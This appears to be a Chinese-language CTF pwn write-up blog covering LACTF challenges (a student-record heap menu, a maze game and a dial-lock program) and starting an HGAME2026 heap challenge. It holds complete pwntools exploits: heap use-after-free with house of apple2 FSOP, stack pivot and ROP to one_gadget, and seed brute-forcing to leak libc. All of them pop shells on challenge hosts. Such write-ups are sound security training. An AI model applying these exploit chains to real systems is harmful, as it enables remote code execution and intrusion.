138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_STUDENTS 10

#define UNDERGRAD 0x1
#define MASTERS 0x2
#define PHD 0x4
#define POSTDOC 0x8
#define HASNOLIFE 0x10
#define ACMCYBER 0x20

struct student_info {
 char noeditingmyptrs[0x10]; // No editing my pointers !!!
 char *name;
 unsigned long attributes;
 char major[0x40];
 char aux[0x90];
};
struct student {
 unsigned long array_id;
 unsigned long uid;
 struct student_info *sinfo;
};

struct student *ourUKLA[MAX_STUDENTS] = {0};
int cur_index = 0;

void menu() {
 puts("________________________________________________");
 puts("| ---------- |");
 puts("| ourUKLA v0.1.7 |");
 puts("| ---------- |");
 puts("| 1. Add student |");
 puts("| 2. Get student info |");
 puts("| 3. Remove student |");
 puts("|______________________________________________|");
 puts("");
 printf("Option > ");
}

void init() {
 setvbuf(stdout, NULL, _IONBF, 0);
 malloc(0x18);
 puts("Administrator, welcome to ourUKLA.");
 puts("This is the portal for the University of Kungkungkung LAhur.\n");
}

void fill_student_info(struct student *s) {

 struct student_info *sinfo;
 if (s->sinfo == NULL) sinfo = malloc(sizeof(struct student_info));
 else sinfo = s->sinfo;

 char *name = malloc(0x100);
 printf("Student name: ");
 read(STDIN_FILENO, name, 0x100);
 sinfo->name = name;

 printf("Student major: ");
 read(STDIN_FILENO, sinfo->major, 0x40);

 printf("Student attributes (e.g. undergrad = 1): ");
 scanf("%lu", &sinfo->attributes);
 while ((getchar()) != '\n');
 sinfo->attributes |= HASNOLIFE | ACMCYBER;

 printf("Require space to add aux data (y/n)? ");
 char res = getchar();
 getchar();
 if (res == 'y') {
 printf("Aux data: ");
 read(STDIN_FILENO, sinfo->aux, 0x90);
 }

 s->sinfo = sinfo;
}

void add_student() {

 char* old_top = *((char**)puts + (0x166580/8)) + 0x10;
 struct student *s = ourUKLA[cur_index] = malloc(sizeof(struct student));
 if ((void *)old_top == (void *)s) s->sinfo = NULL;

 s->array_id = cur_index++;
 cur_index %= MAX_STUDENTS;

 printf("Enter student UID: ");
 scanf("%ld", &s->uid);
 while ((getchar()) != '\n');

 printf("Enter student information now (y/n)? You can do it later: ");
 char res = getchar();
 getchar();
 if (res == 'y') fill_student_info(s);

 printf("Student with UID %lu added at index %lu!\n", s->uid, s->array_id);
}

void get_student_info() {

 unsigned long uid;
 printf("Enter student UID: ");
 scanf("%lu", &uid);

 for (int i = 0; i < MAX_STUDENTS; i++) {
 if (ourUKLA[i] == NULL) continue;

 if (ourUKLA[i]->uid == uid) {

 struct student_info *sinfo = ourUKLA[i]->sinfo;
 if (sinfo) {
 puts("STUDENT INFO");
 printf("Student Name: %s\n", sinfo->name);
 printf("Student Major: %s\n", sinfo->major);
 printf("Student Attributes (number): %lu\n", sinfo->attributes);
 }
 return;
 }
 }
}

void remove_student() {

 unsigned long uid;
 printf("Enter student UID: ");
 scanf("%lu", &uid);

 for (int i = 0; i < MAX_STUDENTS; i++) {
 if (ourUKLA[i] == NULL) continue;

 if (ourUKLA[i]->uid == uid) {

 struct student_info *sinfo = ourUKLA[i]->sinfo;
 if (sinfo) {
 free(sinfo->name);
 free(sinfo);
 }
 free(ourUKLA[i]);

 ourUKLA[i] = NULL;
 return;
 }
 }
}

int main() {
 
 init();

 int choice;
 while (1) {
 menu();
 scanf("%d", &choice);
 switch (choice) {
 case 1:
 add_student();
 break;
 case 2:
 get_student_info();
 break;
 case 3:
 remove_student();
 break;
 default:
 puts("cmon you're an administrator don't tell me you don't know how to follow basic instructions!!");
 exit(1);
 };
 }

 return 0;
}

菜单堆题，最多可以持有 10 个 chunk ，但可以无限申请

有关于 student-info 的 UAF

攻击思路

突破口在于 student-info 的 UAF ，当申请一个新的 student 时，若 s_info 不为空，则不重新申请

于是就可以利用这一点，在某个合适 chunk 中写入 leak 出的 _IO_list_all - 0x10 地址，然后把这个 chunk 放入 unsortedbin 中再进行若干次单采 student 使某一次恰好令 s_info = _IO_list_all - 0x10 ，如果此时选择填写 name 的话，刚好可以在 _IO_list_all 的位置上放上 name 指针，这也是一种任意地址写堆地址的原语

然而在达成原语之前需要先 leak heap 和 leak libc ，而 leak 过程会破坏堆的结构，使后续过程难以进行；因此我们可以先 malloc 至没有 freed chunk ，再重新布局

关于布局，核心思路就是：填满目标大小的 tcache ，从而创造出一个 unsortedbin chunk

最后 name 上打 house of apple2 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./chall_patched')
else:
	io = remote('chall.lac.tf', 31147)

libc = ELF('./libc.so.6')

def calc_real_next(next):
	ori = next
	for i in range(4):
		next = ori ^ (next >> 12)
	return next

def fill_student_info(name, major, attributes, yon, aux):
	io.sendafter(b'name: ', name)
	io.sendafter(b'major: ', major)
	
	io.sendlineafter(b'(e.g. undergrad = 1): ', str(attributes).encode())
	if yon:
		io.sendlineafter(b'(y/n)? ', b'y')
		io.sendafter(b'data: ', aux)
	else:
		io.sendlineafter(b'(y/n)? ', b'n')

def add_student(UID, info = False, name = b'', major = b'', attributes = b'', yon = False, aux = b''):
	io.sendlineafter(b'Option > ', b'1')
	io.sendlineafter(b'UID: ', str(UID).encode())
	if info:
		io.sendlineafter(b'later: ', b'y')
		fill_student_info(name, major, attributes, yon, aux)
	else:
		io.sendlineafter(b'later: ', b'n')

def get_student_info(UID):
	io.sendlineafter(b'Option > ', b'2')
	io.sendlineafter(b'UID: ', str(UID).encode())

def remove_student(UID):
	io.sendlineafter(b'Option > ', b'3')
	io.sendlineafter(b'UID: ', str(UID).encode())

def exit_fsop():
	io.sendlineafter(b'Option > ', b'4')

def attack():
	for i in range(10):		# init
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	for i in range(8):
		remove_student(i)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')

	get_student_info(0)		# leak heap
	io.recvuntil(b'Name: A')
	leak_next = u64(io.recv(5).ljust(8, b'\x00'))
	heap = (calc_real_next(leak_next) - 0x1e) * 0x100
	log.info(f'heap = {hex(heap)}')

	add_student(7)		# leak libc
	get_student_info(7)
	io.recvuntil(b'Name: ')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1e6c20
	log.info(f'libc = {hex(libc.address)}')
	fsop = libc.symbols['_IO_list_all'] - 0x10

	add_student(8)		# fix
	add_student(9)
	for i in range(14):
		add_student(i % 10)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	
	for i in range(7):		# init
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	payload = b'A' * 0x10 + p64(fsop)
	add_student(7, True, b'A', payload, b'A', True, b'A')
	add_student(8, True, b'A', b'A', b'A', True, b'A')
	add_student(9, True, b'A', b'A', b'A', True, b'A')
	for i in range(8):
		remove_student(i)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	add_student(7)
	add_student(8)
	
	fake_io_base = heap + 0x40b0		# house of apple2
	fake_io = flat({
			0x0: b" sh;",
			0x28: 1,
			0x68: libc.sym['system'],
			0x88: fake_io_base + 0x1000,
			0xA0: fake_io_base,
			0xD8: libc.sym['_IO_wfile_jumps'],
			0xE0: fake_io_base
		},
		filler=b"\x00"
	)
	add_student(9, True, fake_io, b'A', b'A', True, b'A')
	
	exit_fsop()
	io.interactive()

attack()

adventure

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/LACTF/adventure/chall'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void);

#define BOARD_SIZE 16
#define MAX_MOVES 300
#define INPUT_SIZE 8
#define NUM_ITEMS 8

char history[MAX_MOVES][INPUT_SIZE];
int move_count = 0;

int player_x = 0;
int player_y = 0;

const char *last_item = "None";

int board[BOARD_SIZE][BOARD_SIZE];

const char *item_names[] = {
 "Sword",
 "Shield",
 "Potion",
 "Key",
 "Scroll",
 "Amulet",
 "Crown",
 "Flag"
};

const char item_symbols[] = {
 'S', 'H', 'P', 'K', 'L', 'A', 'C', 'F'
};

int inventory[NUM_ITEMS] = {0};

void print_banner(void) {
 puts("");
 puts(" ╔═══════════════════════════════════════════╗");
 puts(" ║ ⚔️ ADVENTURE IN THE DARK MAZE ⚔️ ║");
 puts(" ║ ~ A Quest for Glory ~ ║");
 puts(" ╚═══════════════════════════════════════════╝");
 puts("");
 puts(" In the ancient dungeon of the Forgotten Realm,");
 puts(" treasures await the brave adventurer...");
 puts("");
}

void print_help(void) {
 puts("");
 puts(" ┌─────────── COMMANDS ───────────┐");
 puts(" │ n/s/e/w - Move North/South/ │");
 puts(" │ East/West │");
 puts(" │ look - Look around │");
 puts(" │ inv - Check inventory │");
 puts(" │ grab - Pick up item │");
 puts(" │ help - Show this help │");
 puts(" │ quit - Leave the dungeon │");
 puts(" └────────────────────────────────┘");
 puts("");
}

void print_inventory(void) {
 puts("");
 puts(" ╔═════════ INVENTORY ═════════╗");
 int item_count = 0;
 for (int i = 0; i < NUM_ITEMS; i++) {
 if (inventory[i]) {
 printf(" ║ [%c] %-22s ║\n", item_symbols[i], item_names[i]);
 item_count++;
 }
 }
 if (item_count == 0) {
 puts(" ║ (empty) ║");
 }
 puts(" ╠═════════════════════════════╣");
 printf(" ║ %2d,%2d %d/%d %3d/%3d %-6s ║\n",
 player_x, player_y, item_count, NUM_ITEMS, move_count, MAX_MOVES, last_item);
 puts(" ╚═════════════════════════════╝");
 puts("");
}

void look_around(void) {
 puts("");
 puts(" ~~ You peer into the darkness ~~");
 printf(" You stand at position (%d, %d).\n", player_x, player_y);

 if (board[player_y][player_x] > 0) {
 int item_idx = board[player_y][player_x] - 1;
 printf(" A glimmering %s lies at your feet!\n", item_names[item_idx]);
 } else {
 puts(" The cold stone floor is bare.");
 }
 puts("");
}

void check_flag_password(void) {
 char password[0020];
 puts("");
 puts(" ╔═══════════════════════════════════════╗");
 puts(" ║ The sacred Flag pulses with power! ║");
 puts(" ║ Speak the ancient password to ║");
 puts(" ║ unlock its secrets... ║");
 puts(" ╚═══════════════════════════════════════╝");
 puts("");
 printf(" Password: ");
 fflush(stdout);

 if (fgets(password, 0x20, stdin) == NULL) {
 return;
 }
 password[strcspn(password, "\n")] = 0;

 if (strcmp(password, "easter_egg") == 0) {
 puts("");
 puts(" *** CONGRATULATIONS! ***");
 puts(" The Flag's magic flows through you!");
 puts(" You have conquered the dungeon!");
 puts("");
 } else {
 puts("");
 puts(" The Flag rejects your words...");
 puts(" But you keep it anyway.");
 puts("");
 }
}

void grab_item(void) {
 if (board[player_y][player_x] == 0) {
 puts(" There is nothing here to grab.");
 return;
 }

 int item_idx = board[player_y][player_x] - 1;
 printf(" You pick up the %s!\n", item_names[item_idx]);
 inventory[item_idx] = 1;
 board[player_y][player_x] = 0;
 last_item = item_names[item_idx];

 if (item_idx == 7) {
 check_flag_password();
 }
}

void move_player(int dx, int dy) {
 int new_x = player_x + dx;
 int new_y = player_y + dy;

 if (new_x < 0 || new_x >= BOARD_SIZE || new_y < 0 || new_y >= BOARD_SIZE) {
 puts(" You bump into a cold stone wall.");
 return;
 }

 player_x = new_x;
 player_y = new_y;

 const char *directions[] = {"north", "south", "east", "west"};
 int dir_idx = (dy == -1) ? 0 : (dy == 1) ? 1 : (dx == 1) ? 2 : 3;
 printf(" You venture %s...\n", directions[dir_idx]);

 if (board[player_y][player_x] > 0) {
 int item_idx = board[player_y][player_x] - 1;
 printf(" You spot a %s here!\n", item_names[item_idx]);
 }
}

void init_board(void) {
 memset(board, 0, sizeof(board));

 unsigned long addr = (unsigned long)main;
 unsigned char *bytes = (unsigned char *)&addr;

 for (int i = NUM_ITEMS - 1; i >= 0; i--) {
 int x = (bytes[i] >> 4) & 0x0F;
 int y = bytes[i] & 0x0F;

 while (board[y][x] != 0) {
 x = (x + 1) % BOARD_SIZE;
 if (x == 0) y = (y + 1) % BOARD_SIZE;
 }

 board[y][x] = i + 1;
 }
}

int main(void) {
 char input[INPUT_SIZE];

 setbuf(stdout, NULL);
 setbuf(stdin, NULL);

 print_banner();
 init_board();
 print_help();

 while (move_count < MAX_MOVES) {
 printf("> ");
 fflush(stdout);

 if (fgets(input, sizeof(input), stdin) == NULL) {
 break;
 }

 input[strcspn(input, "\n")] = 0;
 strncpy(history[move_count], input, INPUT_SIZE - 1);
 history[move_count][INPUT_SIZE - 1] = '\0';
 move_count++;

 if (strcmp(input, "n") == 0) {
 move_player(0, -1);
 } else if (strcmp(input, "s") == 0) {
 move_player(0, 1);
 } else if (strcmp(input, "e") == 0) {
 move_player(1, 0);
 } else if (strcmp(input, "w") == 0) {
 move_player(-1, 0);
 } else if (strcmp(input, "look") == 0) {
 look_around();
 } else if (strcmp(input, "inv") == 0) {
 print_inventory();
 } else if (strcmp(input, "grab") == 0) {
 grab_item();
 } else if (strcmp(input, "help") == 0) {
 print_help();
 } else if (strcmp(input, "quit") == 0) {
 puts("");
 puts(" You flee the dungeon in fear...");
 puts(" Perhaps another day, brave adventurer.");
 puts("");
 break;
 } else if (strlen(input) > 0) {
 puts(" Unknown command. Type 'help' for options.");
 }

 if (move_count % 25 == 0 && move_count < MAX_MOVES) {
 printf(" [%d moves remaining...]\n", MAX_MOVES - move_count);
 }
 }

 if (move_count >= MAX_MOVES) {
 puts("");
 puts(" ════════════════════════════════════");
 puts(" The dungeon's magic forces you out!");
 puts(" You have exhausted your journey...");
 puts(" ════════════════════════════════════");
 puts("");
 }

 return 0;
}

棋盘游戏，发现 main 的地址通过棋盘上 item 的坐标信息给出，可以泄露 PIE

check_flag_password 有栈溢出，溢出 0x10 字节

history 里面可以布置 ropchain 从而达成栈迁移

攻击思路

leak pie 之后在 history 上布置 ropchain ，通过 check_flag_password 的栈溢出把栈迁移到 history 上跑 ropchain 去 leak libc 顺便 reread

然后 reread 的时候写入 onegadget 就行了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './chall_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

libcoffsetdict = {}
libcrealdict = {}

def libcdict_add(name, addr):
 if addr > 0x1000000:
 libcrealdict[name] = addr
 addr %= 0x1000
 libcoffsetdict[name] = addr

def getlibc():
 global libc
 if not debug:
 libc = ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))

def initlibc():
 if not debug:
 subprocess.run(['cp', libc.path, './libc.so.6'])
 subprocess.run(['pwninit', '--no-template'])

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

def peek(num=4096):
 message = p.recv(num)
 p.unrecv(message)
 return message

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
ur = lambda x :p.unrecv(x)
pk = lambda num=4096 :peek(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))

item = {
 b'Sword': 0,
 b'Shield': 1,
 b'Potion': 2,
 b'Key': 3,
 b'Scroll': 4,
 b'Amulet': 5,
 b'Crown': 6,
 b'Flag': 7
}

nowx, nowy = 0, 0
main_leak = 0
pie_leak = 0

def move(way):
 global nowx, nowy 
 if way == b'e':
 nowx += 1
 elif way == b'w':
 nowx -= 1
 elif way == b's':
 nowy += 1
 elif way == b'n':
 nowy -= 1
 sla(b'> ', way)

def move_check(way):
 global main_leak
 gotit = b''
 move(way)
 rl()
 if (pk(1) != b'>'):
 r(2)
 if r(1) == b'[':
 return
 ru(b'spot a ')
 gotit = ru(b' ')[:-1]
 if (item[gotit] <= 5):
 main_leak |= (nowx << 4 | nowy) << (8 * item[gotit])

def grab(pwd):
 sla(b'> ', b'grab')
 sa(b'Password: ', pwd[:-1])

def write(data):
 while data:
 sla(b'> ', data[:6])
 data = data[0x8:]

def attack():
 global pie_leak
 for i in range(0x8):
 for _ in range(0x10 - 1):
 move_check(b'e')
 move_check(b's')
 for _ in range(0x10 - 1):
 move_check(b'w')
 if (i < 0x7):
 move_check(b's')
 pie_leak = main_leak - 0x1adf
 leak('pie_leak')

 for _ in range(0x10 - 1):
 move(b'n')
 
 leave_ret = pie_leak + 0x172F
 rw_addr = pie_leak + 0x4910 # history
 reread = pie_leak + 0x164D
 rop_leak_chain = flat([
 rw_addr + 0x20,
 pie_leak + 0x1480, # leak with printf
 0,
 pie_leak + 0x3F98, # last_item leak puts
 rw_addr + 0x38,
 reread
 ])
 write(rop_leak_chain)
 payload = b'A' * 0x10 + p64(rw_addr) + p64(leave_ret)
 grab(payload)
 libc.address = uru64() - libc.sym['puts']
 leak('libc.address')

 xor_rax_ret = libc.address + 0xc75e9
 pop_rbp_ret = pie_leak + 0x1233
 one_gadget = libc.address + 0xef52b
 rop_break_chain = flat([
 xor_rax_ret,
 pop_rbp_ret,
 pie_leak + 0x6000,
 one_gadget
 ])
 sl(rop_break_chain)
 itr()

attack()

# 0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

# 0x00000000000c75e9: xor rax, rax; ret;

the_time_war

checksec

1
2
3
4
5
6
7


[*] '/home/RatherHard/CTF-pwn/LACTF/the_time_war/pwn_the_time_war'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled
 Stripped: No

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void run();

void init() {
 setbuf(stdout, NULL);
 srand(clock_gettime);
}

void run() {
 short code[4];
 for (int i = 0; i < 4; i ++) {
 code[i] = rand() % 16;
 }
 printf("You see a locked box. The dial on the lock reads: %d-%d-%d-%d\n", code[0], code[1], code[2], code[3]);
 printf("Which dial do you want to turn? ");
 short ind1, val1, ind2, val2;
 if (scanf("%hd", &ind1) <= 0) {
 return;
 }
 printf("What do you want to set it to? ");
 scanf("%hd", &val1);
 printf("Second dial to turn? ");
 scanf("%hd", &ind2);
 printf("What do you want to set it to? ");
 scanf("%hd", &val2);
 code[ind1] = val1;
 code[ind2] = val2;
 printf("The box remains locked.\n");
}

int main(void) {
 init();
 run();
 return 0;
}

有两个越界写，可以用来劫持

由于有 pie ，第一次劫持的时候需要去爆 1/16

这题需要打 libc ，由于随机数种子为 clock_gettime 的地址的低 4 字节，我们可以去根据生成的随机数去爆破种子从而 leak libc 的一部分

4 个随机数不够，8 个刚好

最后通过伪造栈帧去打 onegadget 即可，不过会碰到缺 libc 的高 4 字节的问题，这一点可以通过把栈上残留值搬到缺失的位置上来解决，需要利用 scanf 解析失败保留原变量值的特性

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115


from pwn import *
from ctypes import CDLL

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './pwn_the_time_war_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')
glibc = CDLL('libc.so.6')

target = '60.205.163.215'
port = 13774

def conn():
 if debug:
 return process(file)
 else:
 return remote(target, port)

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

p = io = None

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

numslot = []
seed = 0

def change(idx, val):
 sla(b'turn? ', str(idx).encode())
 sla(b'to? ', str(val).encode())

def recvnum():
 ru(b'lock reads: ')
 for _ in range(3):
 numslot.append(int(ru(b'-')[:-1]))
 numslot.append(int(ru(b'\n')[:-1]))

def hijacklow(idx, addr):
 libc_low = seed - 0xcf420 + addr
 change(10, 0x132A)
 change(idx, libc_low & 0xffff)
 change(10, 0x132A)
 change(idx + 1, (libc_low >> 16) & 0xffff)

def attack():
 global p, io, numslot, seed
 while True:
 try:
 p = io = conn()
 numslot.clear()
 recvnum()
 change(10, 0x132A)
 change(28, '+')
 recvnum()
 except:
 p.close()
 continue
 break
 log.info(f'{numslot}')
 for i in range(0, 0x100000):
 seed = i * 0x1000 + 0x420
 glibc.srand(seed)
 judgeslot = [glibc.rand() % 16 for _ in range(8)]
 if judgeslot == numslot:
 numslot.clear()
 log.info(f"Found the correct seed: {hex(seed)}")
 break
 hijacklow(18, 0x319ad)
 hijacklow(26, 0x4c139)
 change(0, 0)
 change(0, 0)
 itr()

attack()

# 0x00000000000319ad: pop rbx; ret;

# 0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x60 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, r12, NULL} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x60 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0xd515f execve("/bin/sh", rbp-0x40, r13)
# constraints:
# address rbp-0x38 is writable
# rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
# [r13] == NULL || r13 == NULL || r13 is a valid envp

HGAME2026-pwn WriteUp

Tue, 10 Feb 2026 01:38:00 +0000

Heap1sEz

checksec

canary and pie

malloc.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192


#include <malloc.h>
#include <assert.h>
#include <stdio.h>
const int MALLOC_ALIGN_MASK = 2 * (sizeof(INTERNAL_SIZE_T)) -1;
const int SIZE_SZ = (sizeof(INTERNAL_SIZE_T));
void *start = NULL;
hook_t hook = NULL;
struct malloc_state main_arena;
struct malloc_par mp_ = {
 .top_size = TOP_CHUNK_SIZE
};
static void *sysmalloc (INTERNAL_SIZE_T nb, mstate av) __attribute__((noinline));
static void malloc_init_state (mstate av) __attribute__((noinline));
static void unlink_chunk (mchunkptr p) __attribute__((noinline));
void *malloc (size_t bytes){
 INTERNAL_SIZE_T nb;
 INTERNAL_SIZE_T size;
 INTERNAL_SIZE_T remainder_size;

 mchunkptr victim;
 mchunkptr remainder;

 void *p;
 
 nb = (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) < MINSIZE ? MINSIZE : (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) & (~MALLOC_ALIGN_MASK);

 //first request
 if(main_arena.top == NULL){
 malloc_init_state(&main_arena);
 p = sysmalloc(nb, &main_arena);
 return p;
 }

 //unsorted bin
 while ((victim = ((mchunkptr)bin_at(&main_arena, 1))->bk) != bin_at(&main_arena, 1)) {
 size = chunksize(victim);
 /* split */
 if(size >= nb){
 if(size - nb >= MINSIZE){
 remainder_size = size - nb;
 remainder = victim;
 victim = chunk_at_offset(remainder, remainder_size);
 set_head(victim, nb);
 set_inuse(victim);
 set_head_size(remainder, remainder_size);
 set_foot(remainder, remainder_size);
 p = chunk2mem(victim);
 return p;
 }
 else{
 unlink_chunk(victim);
 set_inuse(victim);
 return chunk2mem(victim);
 }
 }
 }
 if(nb > chunksize(main_arena.top) - MINSIZE) TODO();
 /* split */
 else{
 victim = main_arena.top;
 size = chunksize(victim);
 remainder_size = size - nb;
 remainder = chunk_at_offset (victim, nb);
 main_arena.top = remainder;
 set_head (victim, nb | PREV_INUSE);
 set_head (remainder, remainder_size | PREV_INUSE);
 void *p = chunk2mem (victim);
 return p;
 }
